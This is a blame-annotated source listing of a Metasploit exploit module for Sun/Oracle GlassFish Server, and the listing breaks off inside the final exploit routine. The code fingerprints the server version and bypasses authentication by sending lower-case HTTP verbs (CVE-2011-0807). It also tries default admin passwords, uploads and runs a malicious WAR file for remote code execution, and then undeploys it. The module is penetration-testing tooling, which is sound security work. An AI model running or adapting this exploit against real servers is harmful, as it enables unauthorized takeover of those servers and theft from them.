Files
metasploit-gs/modules/exploits/multi/http/glassfish_deployer.rb
T

837 lines
28 KiB
Ruby
Raw Normal View History

2011-08-04 17:36:01 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-08-04 17:36:01 +00:00
##
2015-06-25 01:58:24 -05:00
require 'nokogiri'
2015-06-24 14:17:45 -05:00
require 'metasploit/framework/login_scanner/glassfish'
require 'metasploit/framework/credential_collection'
2011-08-04 17:36:01 +00:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
2015-06-25 22:39:56 -05:00
include Msf::Auxiliary::Report
2013-08-30 16:28:54 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",
'Description' => %q{
2017-08-28 20:17:58 -04:00
This module logs in to a GlassFish Server (Open Source or Commercial) using various
2015-06-25 01:58:24 -05:00
methods (such as authentication bypass, default credentials, or user-supplied login),
and deploys a malicious war file in order to get remote code execution. It has been
2015-06-25 17:04:31 -05:00
tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer
GlassFish versions do not allow remote access (Secure Admin) by default, but is required
for exploitation.
2013-08-30 16:28:54 -05:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2015-06-25 01:58:24 -05:00
'juan vazquez', # Msf module for Glassfish 3.0
'Joshua Abraham <jabra[at]rapid7.com>', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1
'sinn3r' # Rewrite for everything
2013-08-30 16:28:54 -05:00
],
'References' =>
[
['CVE', '2011-0807'],
2015-06-25 01:58:24 -05:00
['OSVDB', '71948']
2013-08-30 16:28:54 -05:00
],
2015-06-25 01:58:24 -05:00
'Platform' => ['win', 'linux', 'java'],
2013-08-30 16:28:54 -05:00
'Targets' =>
[
[ 'Automatic', { } ],
2015-06-24 14:17:45 -05:00
[ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ],
[ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
2015-06-25 01:58:24 -05:00
[ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
2013-08-30 16:28:54 -05:00
],
'DisclosureDate' => "Aug 4 2011",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(4848),
OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']),
2018-08-07 16:42:00 -05:00
OptString.new('USERNAME', [ true, 'The username to authenticate as','admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
2015-06-26 14:02:17 -05:00
OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']),
2015-06-25 02:06:51 -05:00
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false])
])
2013-08-30 16:28:54 -05:00
end
#
# Send GET or POST request, and return the response
#
2016-08-30 15:56:51 -05:00
def send_glassfish_request(path, method, session='', data=nil, ctype=nil)
2013-08-30 16:28:54 -05:00
headers = {}
2015-06-24 14:17:45 -05:00
headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank?
headers['Content-Type'] = ctype if ctype
2016-08-30 15:46:08 -05:00
headers['Connection'] = 'keep-alive'
headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
headers['Accept-Language'] = 'en-US,en;q=0.5'
headers['Accept-Encoding'] = 'gzip, deflate, br'
2013-08-30 16:28:54 -05:00
res = send_request_raw({
'uri' => path,
'method' => method,
'data' => data,
'headers' => headers,
2015-06-24 14:17:45 -05:00
})
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res
2013-08-30 16:28:54 -05:00
end
#
# Return target
#
def auto_target(session, res, version)
print_status("Attempting to automatically select a target...")
2015-06-24 19:30:02 -05:00
res = query_serverinfo(session, version)
2015-06-24 14:17:45 -05:00
return nil unless res
return nil unless res.body
2013-08-30 16:28:54 -05:00
plat = detect_platform(res.body)
arch = detect_arch(res.body)
# No arch or platform found?
2015-06-24 14:17:45 -05:00
return nil if !arch || !plat
2013-08-30 16:28:54 -05:00
# see if we have a match
targets.each do |t|
2015-06-24 14:17:45 -05:00
return t if (t['Platform'] == plat) && (t['Arch'] == arch)
2013-08-30 16:28:54 -05:00
end
# no matching target found
2015-06-24 14:17:45 -05:00
nil
2013-08-30 16:28:54 -05:00
end
#
# Return platform (win, linux, or osx)
#
def detect_platform(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.name = (.*)/
os = $1
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
when /Mac OS X/
return 'osx'
end
end
end
return 'java'
end
#
# Return ARCH
#
def detect_arch(body)
body.each_line do |ln|
ln.chomp!
case ln
when /os\.arch = (.*)/
ar = $1
case ar
when 'x86', 'i386', 'i686'
return ARCH_X86
when 'x86_64', 'amd64'
return ARCH_X64
2013-08-30 16:28:54 -05:00
end
end
end
end
#
# Return server information
#
def query_serverinfo(session,version)
res = ''
2015-06-24 14:17:45 -05:00
if version == '2.x' || version == '9.x'
2013-08-30 16:28:54 -05:00
path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
else
path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/
2013-08-30 16:28:54 -05:00
path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
end
end
2015-06-24 14:17:45 -05:00
if !res || res.code != 200
2013-08-30 16:28:54 -05:00
print_error("Failed: Error requesting #{path}")
return nil
end
2015-06-24 14:17:45 -05:00
res
2013-08-30 16:28:54 -05:00
end
#
# Return viewstate and entry before deleting a GlassFish application
#
def get_delete_info(session, version, app='')
2015-06-24 14:17:45 -05:00
if version == '2.x' || version == '9.x'
2013-08-30 16:28:54 -05:00
path = '/applications/webApplications.jsf'
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if !res || res.code != 200
2013-08-30 16:28:54 -05:00
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end
input_id = "javax.faces.ViewState"
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
viewstate = res.body.scan(p)[0][0]
entry = nil
p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)
results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
else
path = '/common/applications/applications.jsf?bare=true'
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
if !res || res.code != 200
2013-08-30 16:28:54 -05:00
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
return nil
end
2015-06-25 01:58:24 -05:00
viewstate = get_viewstate(res.body)
2013-08-30 16:28:54 -05:00
entry = nil
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
results = res.body.scan(p)
results.each do |hit|
if hit[1] =~ /^#{app}/
entry = hit[0]
entry << "col0:select"
end
end
end
2015-06-24 14:17:45 -05:00
if !viewstate
2013-08-30 16:28:54 -05:00
print_error("Failed: Error getting ViewState")
return nil
2015-06-24 14:17:45 -05:00
elsif !entry
2013-08-30 16:28:54 -05:00
print_error("Failed: Error getting the entry to delete")
end
return viewstate, entry
end
#
# Send an "undeploy" request to Glassfish and remove our backdoor
#
def undeploy(viewstate, session, entry)
#Send undeployment request
data = [
"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
"&#{Rex::Text.uri_encode(entry)}=true",
"&propertyForm%3AhelpKey=ref-applications.html",
"&propertyForm_hidden=propertyForm_hidden",
"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.execute=%40all",
"&javax.faces.partial.render=%40all",
"&bare=true",
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
"&javax.faces.partial.ajax=true"
].join()
path = '/common/applications/applications.jsf'
ctype = 'application/x-www-form-urlencoded'
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['POST'], session, data, ctype)
if !res
2013-08-30 16:28:54 -05:00
print_error("Undeployment failed on #{path} - No Response")
else
2015-06-24 14:17:45 -05:00
if res.code < 200 || res.code >= 300
2013-08-30 16:28:54 -05:00
print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
end
end
end
2015-06-25 22:39:56 -05:00
def report_glassfish_version(banner)
report_note(
host: rhost,
type: 'glassfish.banner',
data: banner,
update: :unique_data
)
end
2013-08-30 16:28:54 -05:00
#
# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
# banner (ex: Sun Java System Application Server 9.x)
#
def get_version(res)
2015-06-25 22:39:56 -05:00
# Extract banner from response
2013-08-30 16:28:54 -05:00
banner = res.headers['Server']
2015-06-25 22:39:56 -05:00
# Default value for edition and glassfish version
2013-08-30 16:28:54 -05:00
edition = 'Commercial'
version = 'Unknown'
2015-06-25 22:39:56 -05:00
# Set edition (Open Source or Commercial)
2013-08-30 16:28:54 -05:00
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
edition = 'Open Source' if banner =~ p
2015-06-25 01:58:24 -05:00
# Set version. Some GlassFish servers return banner "GlassFish v3".
if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/
2013-08-30 16:28:54 -05:00
version = $2
2015-06-24 14:17:45 -05:00
elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown'
2013-08-30 16:28:54 -05:00
version = $1
2015-06-24 14:17:45 -05:00
elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown'
2013-08-30 16:28:54 -05:00
version = '2.x'
2015-06-24 14:17:45 -05:00
elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown'
2013-08-30 16:28:54 -05:00
version = '9.x'
end
2015-06-24 14:17:45 -05:00
if version == nil || version == 'Unknown'
2013-08-30 16:28:54 -05:00
print_status("Unsupported version: #{banner}")
end
2015-06-25 22:39:56 -05:00
report_glassfish_version(banner)
2013-08-30 16:28:54 -05:00
return edition, version, banner
end
#
# Return the formatted version of the POST data
#
def format_2_x_war(boundary,name,value=nil, war=nil)
data = ''
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
return data
end
#
# Return the formatted version of the POST data
#
def format(boundary,name,value=nil, war=nil)
data = ''
if war
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
else
data << boundary
data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
data << "\r\n\r\n"
data << "#{value}\r\n"
end
return data
end
#
# Return POST data and data length, based on GlassFish edition
#
2014-01-24 20:12:06 -06:00
def get_upload_data(opts = {})
boundary = opts[:boundary]
version = opts[:version]
war = opts[:war]
app_base = opts[:app_base]
typefield = opts[:typefield]
status_checkbox = opts[:status_checkbox]
start = opts[:start]
viewstate = opts[:viewstate]
2013-08-30 16:28:54 -05:00
data = ''
if version == '3.0'
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadparam_data = "form:sheet1:section1:prop1:fileupload"
boundary = "--#{boundary}"
data = [
format(boundary, app_base, nil, war),
format(boundary, uploadParam_name, uploadparam_data),
format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:sheet1:section1:prop1:action", "client"),
format(boundary, typefield, "war"),
format(boundary, "form:war:psection:cxp:ctx", app_base),
format(boundary, "form:war:psection:nameProp:appName", app_base),
format(boundary, "form:war:psection:vsProp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:war:psection:librariesProp:library", ""),
format(boundary, "form:war:psection:descriptionProp:description", ""),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
"#{boundary}--"
].join()
2015-06-24 14:17:45 -05:00
elsif version == '2.x' || version == '9.x'
2013-08-30 16:28:54 -05:00
uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = 'form:title:topButtons:uploadButton'
boundary = "-----------------------------#{boundary}"
data = [
format_2_x_war(boundary, app_base, nil, war),
format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
format(boundary, "uploadRdBtn", "client"),
format(boundary, uploadParam_name, uploadParam_data),
format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
format(boundary, "form:title:ps:psec:vsp:vs", ""),
format(boundary, status_checkbox, "true"),
format(boundary, "form:title:ps:psec:librariesProp:library", ""),
format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
format(boundary, "form:helpKey", "uploaddev.html"),
format(boundary, "form_hidden", "form_hidden"),
format(boundary, "javax.faces.ViewState", viewstate),
format(boundary, focusElementId_name, focusElementId_data),
"#{boundary}--"
].join()
else
boundary = "-----------------------------#{boundary}"
#Setup dynamic arguments
num1 = start.to_i
num2 = num1 + 14
num3 = num2 + 2
num4 = num3 + 2
num5 = num4 + 2
num6 = num5 + 2
num7 = num6 + 1
id0 = num4
id1 = num4 + 1
id2 = num4 + 2
id3 = num4 + 3
id4 = num4 + 4
id5 = num4 + 5
id6 = num4 + 6
id7 = num4 + 7
id8 = num4 + 8
id9 = num4 + 9
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
uploadParam_value = "form:sheet1:section1:prop1:fileupload"
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
focusElementId_data = "form:title2:bottomButtons:uploadButton"
data = [
format(boundary,"uploadRdBtn","client"),
## web service
format(boundary, app_base, nil, war),
## sheet1
format(boundary, uploadParam_name, uploadParam_value),
format(boundary,"form:sheet1:section1:prop1:extension",".war"),
format(boundary,"form:sheet1:section1:prop1:action","client"),
format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:appClient:psection:descriptionProp:description"),
## war
format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
format(boundary,"form:war:psection:vsProp:vs"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
2016-08-30 15:46:08 -05:00
format(boundary,"form:other:psection:descriptionProp:description", ""),
format(boundary,"form:other:psection:librariesProp:library", ""),
format(boundary,"form:other:psection:deploymentOrder:deploymentOrder", ""),
format(boundary,"form:other:psection:implicitCdi:implicitCdi", "true"),
format(boundary,"form:other:psection:enableProp:sun_checkbox44","true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox42","true"),
format(boundary,"form:other:psection:vsProp:vs",""),
format(boundary,"form:rar:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:rar:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:rar:psection:enableProp:sun_checkbox40","true"),
format(boundary,"form:other:psection:nameProp:appName", app_base),
format(boundary,"form:rar:psection:nameProp:appName", app_base),
format(boundary,"form:jar:psection:nameProp:appName", app_base),
format(boundary,"form:ear:psection:nameProp:appName", app_base),
format(boundary,"form:ear:psection:descriptionProp:description",""),
format(boundary,"form:jar:psection:deploymentOrder:deploymentOrder", ""),
format(boundary,"form:jar:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:ear:psection:jw:jwc","true"),
format(boundary,"form:ear:psection:vsProp:vs",""),
format(boundary,"form:appClient:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:jar:psection:enableProp:sun_checkbox38","true"),
format(boundary,"form:jar:psection:descriptionProp:description", ""),
format(boundary,"form:ear:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:appClient:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:ear:psection:enableProp:sun_checkbox36","true"),
format(boundary,"form:war:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:jar:psection:librariesProp:library",""),
format(boundary,"form:appClient:psection:jw:jwt","true"),
format(boundary,"form:ear:psection:librariesProp:library", ""),
format(boundary,"form:sheet1:sun_propertySheetSection23:type:appType","war"),
format(boundary,"form:ear:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:rar:psection:descriptionProp:description",""),
format(boundary,"form:war:psection:implicitCdi:implicitCdi","true"),
2013-08-30 16:28:54 -05:00
format(boundary,"form:war:psection:librariesProp:library"),
format(boundary,"form:war:psection:descriptionProp:description"),
format(boundary,"form_hidden","form_hidden"),
format(boundary,"javax.faces.ViewState","#{viewstate}"),
format(boundary, focusElementId_name, focusElementId_data)
].join()
item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
item_list_data = "|server|com.sun.webui.jsf.separator|"
item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
item_value_data = "server"
data << format(boundary, item_list_name, item_list_data)
data << format(boundary, item_value_name, item_value_data)
data << "#{boundary}--"
data << "\r\n\r\n"
end
return data
end
2015-06-25 01:58:24 -05:00
def get_viewstate(body)
noko = Nokogiri::HTML(body)
inputs = noko.search('input')
hidden_inputs = []
inputs.each {|e| hidden_inputs << e if e.attributes['type'].text == 'hidden'}
hidden_inputs.each do |e|
if e.attributes['name'].text == 'javax.faces.ViewState'
return e.attributes['value'].text
end
end
''
end
2013-08-30 16:28:54 -05:00
#
# Upload our payload, and execute it. This function will also try to automatically
# clean up after itself.
#
2014-01-24 20:12:06 -06:00
def upload_exec(opts = {})
session = opts[:session]
app_base = opts[:app_base]
jsp_name = opts[:jsp_name]
war = opts[:war]
edition = opts[:edition]
version = opts[:version]
2015-06-24 14:17:45 -05:00
if version == '2.x' || version == '9.x'
2013-08-30 16:28:54 -05:00
path = "/applications/upload.jsf?appType=webApp"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-25 01:58:24 -05:00
# Obtain some properties
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
viewstate = get_viewstate(res.body)
status_checkbox = res.body.scan(p2)[0][0]
boundary = rand_text_alphanumeric(28)
2013-08-30 16:28:54 -05:00
else
path = "/common/applications/uploadFrame.jsf"
2015-06-24 14:17:45 -05:00
res = send_glassfish_request(path, @verbs['GET'], session)
2013-08-30 16:28:54 -05:00
2015-06-25 01:58:24 -05:00
# Obtain some properties
res.body =~ /propertySheetSection(\d{3})/
start = $1
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
rnd_text = rand_text_alphanumeric(29)
viewstate = get_viewstate(res.body)
typefield = res.body.scan(p2)[0][0]
status_checkbox = res.body.scan(p3)[0][0]
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
2013-08-30 16:28:54 -05:00
end
2015-06-24 14:17:45 -05:00
# Get upload data
2013-08-30 16:28:54 -05:00
if version == '3.0'
ctype = "multipart/form-data; boundary=#{boundary}"
2015-06-24 14:17:45 -05:00
elsif version == '2.x' || version == '9.x'
2013-08-30 16:28:54 -05:00
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
typefield = ''
start = ''
else
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
end
2014-01-24 20:12:06 -06:00
post_data = get_upload_data({
:boundary => boundary,
:version => version,
:war => war,
:app_base => app_base,
:typefield => typefield,
:status_checkbox => status_checkbox,
:start => start,
:viewstate => viewstate
})
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
# Upload our payload
if version == '2.x' || version == '9.x'
2013-08-30 16:28:54 -05:00
path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
else
path = '/common/applications/uploadFrame.jsf?'
path << 'form:title:topButtons:uploadButton=Processing...'
path << '&bare=false'
end
2016-08-30 15:56:51 -05:00
res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype)
2015-06-24 14:17:45 -05:00
# Print upload result
2016-08-30 15:46:08 -05:00
if res && res.code == 302
2017-07-19 12:48:52 +01:00
print_good("Successfully Uploaded")
2013-08-30 16:28:54 -05:00
else
print_error("Error uploading #{res.code}")
return
end
#Execute our payload using the application interface (no need to use auth bypass technique)
2015-06-26 14:02:17 -05:00
jsp_path = normalize_uri(target_uri.path, app_base, "#{jsp_name}.jsp")
2013-08-30 16:28:54 -05:00
nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
{
'Msf' => framework,
'MsfExploit' => self,
}
)
print_status("Executing #{jsp_path}...")
req = nclient.request_raw({
'uri' => jsp_path,
'method' => 'GET',
})
2015-06-24 14:17:45 -05:00
if req
2013-08-30 16:28:54 -05:00
res = nclient.send_recv(req, 90)
else
print_status("Error: #{rhost} did not respond on #{app_rport}.")
end
2015-06-24 19:30:02 -05:00
# Sleep for a bit before cleanup
2013-08-30 16:28:54 -05:00
select(nil, nil, nil, 5)
2015-06-25 01:58:24 -05:00
# Start undeploying
2013-08-30 16:28:54 -05:00
print_status("Getting information to undeploy...")
viewstate, entry = get_delete_info(session, version, app_base)
2015-06-24 14:17:45 -05:00
if !viewstate
2013-08-30 16:28:54 -05:00
fail_with(Failure::Unknown, "Unable to get viewstate")
elsif (not entry)
fail_with(Failure::Unknown, "Unable to get entry")
end
print_status("Undeploying #{app_base}...")
undeploy(viewstate, session, entry)
print_status("Undeployment complete.")
end
2015-06-24 19:30:02 -05:00
def init_loginscanner
@cred_collection = Metasploit::Framework::CredentialCollection.new
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
configure_http_login_scanner(
cred_details: @cred_collection,
connection_timeout: 5,
2016-05-27 18:37:04 -05:00
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
2015-06-24 14:17:45 -05:00
)
)
2013-08-30 16:28:54 -05:00
end
2015-06-25 22:39:56 -05:00
def report_auth_bypass(version)
report_vuln(
name: 'GlassFish HTTP Method Authentication Bypass',
info: "The remote service has a vulnerable version of GlassFish (#{version}) that allows the " \
'attacker to bypass authentication by sending an HTTP verb in lower-case.',
host: rhost,
port: rport,
proto: 'tcp',
refs: self.references
)
end
2015-06-24 14:17:45 -05:00
def try_glassfish_auth_bypass(version)
2015-06-24 19:49:04 -05:00
sid = nil
2014-06-09 15:35:04 -05:00
2015-06-24 14:17:45 -05:00
if version == '2.x' || version == '9.x'
2015-06-24 19:49:04 -05:00
print_status("Trying auth bypass...")
2015-06-24 14:17:45 -05:00
res = send_glassfish_request('/applications/upload.jsf', 'get')
2015-06-24 19:49:04 -05:00
title = '<title>Deploy Enterprise Applications/Modules</title>'
if res && res.code.to_i == 200 && res.body.include?(title)
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
2015-06-24 14:17:45 -05:00
end
else
# 3.0
2015-06-24 19:49:04 -05:00
print_status("Trying auth bypass...")
2015-06-24 14:17:45 -05:00
res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get')
2015-06-24 19:49:04 -05:00
title = '<title>Deploy Applications or Modules'
if res && res.code.to_i == 200 && res.body.include?(title)
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
2015-06-24 14:17:45 -05:00
end
end
2014-06-09 15:35:04 -05:00
2015-06-25 22:39:56 -05:00
report_auth_bypass(version) if sid
2015-06-24 14:17:45 -05:00
sid
end
2014-06-09 15:35:04 -05:00
2015-06-24 14:17:45 -05:00
def my_target_host
"http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}"
2013-08-30 16:28:54 -05:00
end
2015-06-25 17:10:20 -05:00
def service_details
super.merge({ post_reference_name: self.refname })
2015-06-25 17:10:20 -05:00
end
2015-06-24 14:17:45 -05:00
def try_normal_login(version)
2015-06-24 19:30:02 -05:00
init_loginscanner
2015-06-24 14:17:45 -05:00
case version
when /2\.x|9\.x/
2015-06-24 19:30:02 -05:00
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: 'admin',
private: 'adminadmin',
private_type: :password
))
2015-06-24 14:17:45 -05:00
when /^3\./
2015-06-24 19:30:02 -05:00
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: 'admin',
private: '',
private_type: :password
))
2013-08-30 16:28:54 -05:00
end
2015-06-24 19:30:02 -05:00
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(
public: datastore['USERNAME'],
private: datastore['PASSWORD'],
private_type: :password
))
2013-08-30 16:28:54 -05:00
2015-06-26 14:02:17 -05:00
@scanner.send_request({'uri'=>normalize_uri(target_uri.path)})
2015-06-24 14:17:45 -05:00
@scanner.version = version
@cred_collection.each do |raw|
cred = raw.to_credential
2015-06-24 19:30:02 -05:00
print_status("Trying to login as #{cred.public}:#{cred.private}")
2015-06-24 14:17:45 -05:00
result = @scanner.attempt_login(cred)
2015-06-24 19:30:02 -05:00
if result.status == Metasploit::Model::Login::Status::SUCCESSFUL
store_valid_credential(user: cred.public, private: cred.private) # changes service_name to http || https
2015-06-24 19:30:02 -05:00
return @scanner.jsession
2013-08-30 16:28:54 -05:00
end
end
2015-06-24 14:17:45 -05:00
nil
end
def attempt_login(version)
sid = nil
if version =~ /3\.0|2\.x|9\.x/
sid = try_glassfish_auth_bypass(version)
return sid if sid
2013-08-30 16:28:54 -05:00
end
2015-06-24 19:30:02 -05:00
try_normal_login(version)
2013-08-30 16:28:54 -05:00
end
2015-06-24 19:30:02 -05:00
def make_war(selected_target)
p = exploit_regenerate_payload(selected_target.platform, selected_target.arch)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
2015-06-24 19:30:02 -05:00
:arch => selected_target.arch,
:platform => selected_target.platform
2015-06-24 14:17:45 -05:00
}).to_s
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
return app_base, jsp_name, war
2013-08-30 16:28:54 -05:00
end
def exploit
2015-06-24 14:17:45 -05:00
# Invoke index to gather some info
res = send_glassfish_request('/common/index.jsf', 'GET')
2013-08-30 16:28:54 -05:00
if res.code == 302
2015-06-24 14:17:45 -05:00
res = send_glassfish_request('/login.jsf', 'GET')
2013-08-30 16:28:54 -05:00
end
2015-06-24 14:17:45 -05:00
# Get GlassFish version
2013-08-30 16:28:54 -05:00
edition, version, banner = get_version(res)
print_status("Glassfish edition: #{banner}")
2015-06-24 14:17:45 -05:00
# Set HTTP verbs. Lower-case is used to bypass auth on v3.0
2013-08-30 16:28:54 -05:00
@verbs = {
2015-06-24 19:30:02 -05:00
'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET',
'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST',
2013-08-30 16:28:54 -05:00
}
2015-06-24 14:17:45 -05:00
sid = attempt_login(version)
2013-08-30 16:28:54 -05:00
2015-06-24 14:17:45 -05:00
unless sid
2015-06-25 01:58:24 -05:00
